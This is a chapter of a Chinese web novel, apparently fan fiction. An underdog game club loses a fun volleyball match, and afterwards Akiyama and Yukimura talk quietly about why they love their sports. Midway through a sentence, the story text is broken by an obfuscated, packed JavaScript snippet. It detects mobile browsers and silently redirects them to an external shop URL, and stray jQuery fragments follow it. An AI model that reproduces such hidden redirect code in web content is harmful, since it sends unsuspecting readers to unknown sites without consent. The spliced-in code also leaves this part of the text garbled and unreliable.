比赛开始了。
排球社的发球像炮弹一样砸过来——即使换了椭圆形的软球，他们的力道和落点控制依然精准得可怕。
球在空中旋转着，轨迹诡异得像喝醉了的蝴蝶，但接球的人脚步稳得像钉子扎在地上，一抬手就把球稳稳地垫了起来。
游戏社这边则完全是另一番景象。
大和的第一次接球直接弹到了天花板上，球在天花板的灯架上弹了两下才掉下来，落在自己这边的场地上。裁判沉默了两秒，大概是不知道该怎么判。
戴眼镜的瘦高个的第一次发球——他用的是排球的标准发球姿势，但球是椭圆的，所以它没有往前飞，而是向左上方划了一道优美的弧线，精准地落进了观众席第三排的一个女生怀里。
圆脸男生的第一次接球被球砸中了脸，眼镜歪了，人没倒。
第一局的比分是15:3。游戏社得了3分，其中2分是对面发球失误送的。
鉴于专业性和学生的体力原因，和一般的25分制不同，这次比赛采取15分制。
泽川蹲在场边喝水，表情像是在思考“我们到底为什么要来”。
“要不我们弃权吧，”他小声说，“体面也是分等级的，我们这种体面可能属于‘不值一提’级别。”
“不行，”大和忽然站起来，脸上的表情变得认真了，“石田在二楼看着呢。”
秋山顺着大和的目光往上看。体育馆的二楼有一排窗户，其中一个窗户后面隐约能看到一撮褪色的金发，和一只举着手机的手。
石田在用手机录像。
“他从什么时候开始看的？”秋山问。
“从你的第一次接球开始，”泽川说，“你把球接起来的那一下，对面的人都愣了一下。”
秋山不知道这件事。他只知道自己的手腕现在还隐隐发红，对面的扣球力道即使减了七成，对他来说还是太重了。
但他确实接到了——身体自己动的，没有经过大脑。
那种反应不是一个月两个月能练出来的，是小学的替补生涯、无数次对着墙壁对垫、无数次在别人训练结束后一个人捡球攒下来的东西。
就像肌肉记忆。你以为你已经忘了，但它就在那里，像一条蛰伏的蛇，只在需要的时候才会抬起头。
第二局开始之前，秋山走到游戏社的几个人面前。
“听我说，”他的声音不大，但很稳，“他们的扣球力道大，但球的落点其实很好判断——因为他们太标准了。标准的助跑、标准的起跳、标准的扣球姿势，球会往哪儿走，从他们助跑的角度就能看出来。”
“真的？”圆脸男生捂着脸问。
“真的，”秋山说，“他们的弱点不是技术，是‘不习惯’。他们习惯了普通排球的弹道和旋转，但这个球的弹跳是乱的。你们不需要接得多漂亮，只需要把球碰起来——哪怕是用脸，用肚子，用你能用的任何部位。碰起来之后，我来处理。”
游戏社的五个人安静了一瞬。
大和最先反应过来：“你刚才说‘用脸’的时候，表情特别认真。”
“我是认真的，”秋山说，“用脸也可以。疼是疼了点，但至少球过去了。”
第二局的氛围完全不一样了。
不是游戏社突然变强了——没有，他们还是那个水平，大和的接球还是会飞到天花板，戴眼镜的瘦高个的发球依然在往观众席飞。
但秋山的站位像一张网，把那些散落的、凌乱的、毫无章法的球一个个兜了回来。
对面的扣球过来，圆脸男生用肚子挡了一下，球高高弹起，歪歪斜斜地往场外飞——秋山从三米外冲过来，身体几乎贴到了地上，把那个球用手背捞了回来，落点刚好在对面场地的边线上。
裁判吹哨：“界内。”
观众席上有人发出了“哦——”的声音。
对面的主攻手看了秋山一眼，表情第一次有了变化——不是惊讶，是好奇。
第二局的比分是15:8。游戏社还是输了，但比第一局多了5分。
其实游戏社已经输了，但是毕竟是趣味运动会，还是要打满三局。
泽川蹲在场边，累得像一条在太阳下晒了三天的毛巾，但他的眼睛是亮的。“我们居然得了8分，”他说，“8分。”
“我们才得了8分，”大和纠正他。
“但对面是排球社！”
“对面是排球社的替补，”秋山说，“正选不会来打这种比赛。”
空气安静了一秒。
“……你怎么知道的？”泽川问。
“因为我以前也是替补，”秋山说，语气平淡得像在说今天天气不错，“替补和正选的区别，看站位就知道了。正选的防守站位是‘预判’，替补是‘反应’。刚才对面的人都是在‘反应’，不是‘预判’。”
大和盯着秋山看了好一会儿，然后转头对泽川说：“石田管他叫‘路人角色’，我觉得石田是瞎了。”
“石田没瞎，”秋山活动了一下肩膀，手腕上的红印子还没消，“石田说的没错，我确实是路人角色。只是路人角色偶尔也会接到一两个球。”
第三局是最后一局。
对面的打法变了。他们不再一味地扣球，而是开始打点——把球打到游戏社最弱的位置，打两个人之间的缝隙，打秋山覆盖不到的死角。
分数从0:0变成了5:0，又变成了8:2。
泽川的呼吸越来越急促，大和的额头上全是汗，戴眼镜的瘦高个的眼镜已经在第二次救球时飞出去了，他现在的视力相当于一个近视八百度的人在看一幅印象派画作。
秋山站在自己的位置上，汗水从下巴滴下来，落在木地板上，砸出一个小小的深色圆点。
他的身体在告诉他要停了。手腕的红肿变成了青紫色，脚踝在刚才那次飞身救球时崴了一下，现在每跑一步都像踩在棉花上。
但他的脑子在想另一件事——不是战术，不是比分，而是石田在二楼举着手机的那个画面。
石田为什么要拍他？
不是这个问题。真正的问题是——
石田为什么会觉得“秋山夏生打排球的样子”值得被拍？
对面的球又过来了。这一次不是扣球，是一个吊球——轻飘飘的，像一片叶子，落在网前两米的位置。
大和离那个球最近，他的身体已经冲出去了，但他的重心太高，弯腰的一瞬间脚步乱了，整个人像一座正在倒塌的塔，歪歪斜斜地往前倾。
他的手没有碰到球。
但秋山碰到了。
他从后方启动，在大和的身体挡住视线的瞬间判断了落点，跨步、弯腰、伸手——动作行云流水，像是提前在那个位置等好了一样。
球触到他的手臂内侧，以一种不可思议的角度弹了起来，直直地往对面场地的后角飞去。
对面的自由人冲过去救球，但球落地了。比他快了零点几秒。
裁判吹哨：“界内。”
观众席上这次不是“哦”了，而是“哇”。
泽川从地上爬起来，张着嘴看着秋山，脸上的表情像是在看一个外星人。
“你——”他说。
“别说话，”秋山喘着气，“比赛还没结束。”
比分是12:10。游戏社落后两分。
接下来的几分，秋山像一个完全不一样的人。
不是他突然变强了——他没有跳跃能力，扣球也没有力道，和对面那些真正的排球选手比起来，他的身体素质就像一只柴犬和一群狼的差距。
但他站在那里，站在那个椭圆形的、不可预测的球面前，他的脚步、他的判断、他的每一个动作，都在说同一句话：
我知道球会去哪里。
不是天赋。是经验。是无数次看着别人打球、自己却上不了场的经验。是站在替补席上看了三年、把所有战术配合和落点规律刻进骨头里的经验。
替补生涯，什么都没得到，除了这双会“看”的眼睛。
最后一分的时候，对面打了一个快攻。
那个185的主攻手跳起来的时候，秋山就知道球会往哪里去了——不是因为他看穿了假动作，而是因为那个人的眼神。
在起跳的一瞬间，他的目光往左边偏了一度。
秋山提前移动了半步。
球来了，落在他判断的位置，差了一个拳头的距离。他的手臂伸到极限，指尖碰到了球——不是标准的垫球，是手指的弹击。
球改变了方向，以一种缓慢的、几乎是在挑衅的弧度越过网带，落在对面的场地上。
没有人接。
因为没有人觉得那个球能被碰到。
比分定格在14:12。
但副馆里安静了整整两秒，然后响起了掌声。
不是喝彩，是那种“出乎意料”的掌声——观众没想到会看到一场真正的比赛，没想到游戏社能撑到第三局，没想到那个戴着黑框眼镜、看起来像文学社编外人员的少年能打出那样的球。
秋山站在原地，手腕垂着，胸口剧烈起伏。
汗水顺着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551826|203926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他的脸颊流下来，滑过那副沉闷的黑框眼镜，滴在地上。
大和第一个走过来，没有说话，只是伸出手。
秋山看了他一眼，伸出手，和他击了一掌。
然后泽川，然后戴眼镜的瘦高个（他还没找到他的眼镜），然后圆脸男生。
五只手叠在一起的时候，泽川说了一句让所有人都沉默的话：
“明天游戏社的训练内容——健康排球。”
“不要。”
四个人同时回答。
秋山坐在体育馆门口的台阶上，手腕上缠着冰袋，脚边放着一瓶没拧开的水。
幸村不知道什么时候出现在他旁边，白色的运动外套换成了校服外套，手里拿着两罐饮料。
“可乐还是乌龙茶？”幸村问。
“乌龙茶，”秋山说，“可乐太刺激了。”
幸村把乌龙茶递给他，在他旁边坐了下来。两个人的肩膀隔了大约一米的距离，不远不近，刚好适合一场不太认真的对话。
操场上还在进行最后的项目，欢呼声和广播声混在一起，从远处传过来，被体育馆的墙壁削去了一半的锐度，听起来像是隔着一层薄薄的海绵。
“打得不错。”幸村说。
“输了。”
“排球社打了三局是这个比分，他们回去应该不太高兴。”幸村笑着说，语气里带着一种让人很难分辨是安慰还是调侃的东西。
秋山没接话。他拧开乌龙茶的瓶盖，喝了一口，茶的微苦在舌尖化开，然后是回甘。
沉默了一会儿之后，秋山忽然开口。
“幸村，网球对于你而言意味着什么？”
幸村没有立刻回答。他看着操场的方向，但目光好像穿透了那些正在奔跑的人影，去了更远的地方。
“生命。”他说。
秋山转头看了他一眼。
幸村的侧脸在午后的光线里显得很安静，安静得不像是在说什么沉重的话题。
好像“生命”这两个字对他来说就是最自然的答案，不需要解释，不需要修饰。
“你是怎么喜欢上打网球的？”秋山问。
“我享受胜利，”幸村说，然后顿了一下，“不过听说还有快乐网球的存在。”
秋山的嘴角不自觉地抽了一下。快乐网球。又是这个词。他在梦里见过幸村打快乐网球的样子，那个画面大概会永远留在他的记忆里，和那只被土豆叼回来的护腕、那本写着密密麻麻“天海信二”的书一起，并列“秋山夏生无法解释的事物”前三名。
“每个人喜欢上一件事物的原因都不一样吧，”幸村继续说，语气像是在翻一本很久以前读过的书，有些字句已经模糊了，但大意还记得，“但或许有一点是相同的。”
“什么？”
幸村没有马上回答。他把手里的可乐罐举起来，对着光看了看，像是在检查里面的气泡有没有消失。
“是一种感觉，”他说，声音比刚才轻了一些，“它来临的时候，训练的痛苦和过去的每次失败会在一瞬间褪色。”
他停了一下。
“好像有一瓶可乐在心中被打开了瓶盖，发麻的快感覆满全身。”
秋山盯着手里的乌龙茶，没有说话。
他想起了刚才在球场上的那个瞬间——身体先于大脑行动，判断快过思考，球被指尖弹起，越过网带，落在地面。
那个瞬间，手腕不痛了，脚踝不酸了，呼吸不累了。
那个瞬间，他什么都没有想。
不是快乐，不是胜利，不是“我做到了”之类的成就感。
是一种更原始的、更本质的东西——像是心脏被重新启动了。
“秋山。”幸村忽然叫他的名字。
“嗯？”
“你的夏天还长着呢。”
秋山转过头，对上幸村的目光。
幸村的眼睛里有笑意，不是平时那种温和的、得体的、让人猜不透底牌的笑，而是一种很纯粹的笑——像是一个提前看完剧本的人，在给还没看到最后一幕的观众一个“你放心吧”的眼神。
“什么意思？”秋山问。
“没什么意思，”幸村站起来，把空了的可乐罐扔进旁边的垃圾桶，精准得像是用了什么技能，“就是忽然想说这句话。”
秋山看着他走下台阶，背影在校服的衣角中渐渐远去，深蓝色的发丝在阳光下闪着细碎的光。
他的夏天还长着。
这句话在脑子里转了一圈，像一瓶刚被打开的可乐，气泡密密麻麻地往上涌。